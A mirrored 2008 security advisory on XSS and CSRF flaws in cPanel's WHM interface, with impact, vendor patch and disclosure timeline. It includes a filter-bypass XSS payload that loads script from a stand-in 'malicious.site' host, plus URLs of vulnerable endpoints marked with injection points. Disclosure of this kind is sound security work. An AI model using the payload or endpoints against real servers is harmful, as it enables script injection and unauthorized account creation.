Lucene search
K

cpanel-xssxsrf.txt

🗓️ 09 May 2008 00:00:00Reported by Matteo CarliType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 64 Views

cPanel hosting automation tool with XSS and CSRF vulnerabilities, allowing attackers to inject arbitrary JavaScript/HTML code and perform unauthorized actions. Vendor released patches to resolve XSS flaw and mitigate CSRF

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-2070
9 May 200800:00
circl
CVE
CVE-2008-2070
12 May 200816:00
cve
CVE
CVE-2008-2071
12 May 200816:00
cve
Cvelist
CVE-2008-2070
12 May 200816:00
cvelist
Cvelist
CVE-2008-2071
12 May 200816:00
cvelist
EUVD
EUVD-2008-2067
7 Oct 202500:30
euvd
EUVD
EUVD-2008-2068
7 Oct 202500:30
euvd
NVD
CVE-2008-2070
12 May 200816:20
nvd
NVD
CVE-2008-2071
12 May 200816:20
nvd
Prion
Cross site scripting
12 May 200816:20
prion
Rows per page
`1. DESCRIPTION OF THE SOFTWARE  
  
cPanel is a hosting automation tool.  
WHM interface provides access to the heart of the cPanel and WHM package  
and allows a Server Administrator to simply configure a few options and  
be on their way to hosting web sites.  
  
2. DESCRIPTION OF THE VULNERABILITY  
  
There are XSS (identified by CVE-2008-2070) and CSRF (identified by  
CVE-2008-2071) vulnerabilities on cPanel software.  
  
On WHM there is a simple pattern for XSS defense, but this function  
is not well implemented so it's possible to bypass it using a simple  
cheat. This is a simple proof of concept:  
  
>><<<<<<<<<<<<script src="http://malicious.site/code.js" a=>>>>>>>><  
  
In this way the function don't sanitize the string so it's possible  
to inject arbitrary JavaScript/HTML code.  
  
WHM provide, to the administrator or reseller, all function for manage  
the server via Web interface but don't protect them against Cross  
Request Forgery (CSRF).  
To exploit this vulnerability is not necessary to inject any kind of  
code to the victim.  
  
XSS and CSRF flaw is more simple to exploit with cPanel XMLAPI [1]  
that use Authentication Basic of WHM (This API works on the same domain  
and port of WHM).  
  
3. ANALYSIS  
  
The XSS flaws are present in any function that manages user input.  
An example list of vulnerable functions to XSS are:  
* Knowlege Base (/scripts2/knowlegebase?issue=[INJECTION]&domain=)  
* Change Ip to domain (/scripts2/changeip?domain=any&user=[INJECTION])  
* List user account  
(/scripts2/listaccts?searchtype=domain&search=[INJECTION]&acctp=30)  
  
The list above is not complete. It's possible there are other scripts  
vulnerable.  
  
The CSRF flaw is in all functions that allow to perfom an action (like  
restart of a service or the entire server) with HTTP method.  
  
This vulnerability was tested on WHM 11.15.0 - cPanel 11.18.3-R21703.  
  
4. IMPACT  
  
The XSS can be used for create/modify accounts or retrieve important  
informations about them.  
  
With CSRF flaws an attacker can create a new user and gain reseller  
privilege to it, restart a service, suspend an account, change the  
password of an account and many other really intersting things.  
See, for example, "createacct" [2] and "setupreseller" [3] function of  
cPanel XML API.  
  
5. SOLUTION  
  
Vendor released a new version where the XSS flaw is resolved and CSRF  
mitigated enough to consider it trivial.  
Update the cPanel to latest release of yours build.  
All 11.18.4+ and 11.22.3+ builds include the patch. [4]  
  
Note that anti-CSRF function use HTTP "Referer" header, please keep in  
mind is not difficult for an attacker to modify it in various way.  
  
6. TIME LINE  
  
23/03/2008 - Vulnerability discovered  
07/04/2008 - cPanel security team contacted  
25/04/2008 - cPanel insert patch in all public builds  
  
7. CVE REFERENCE  
  
CVE-2008-2070 - XSS  
CVE-2008-2071 - CSRF  
  
8. REFERENCE  
  
[1] http://www.cpanel.net/plugins/xmlapi/  
[2] http://www.cpanel.net/plugins/xmlapi/createacct.html  
[3] http://www.cpanel.net/plugins/xmlapi/setupreseller.html  
[4] http://changelog.cpanel.net/  
  
--  
Matteo Carli  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 May 2008 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.00959
64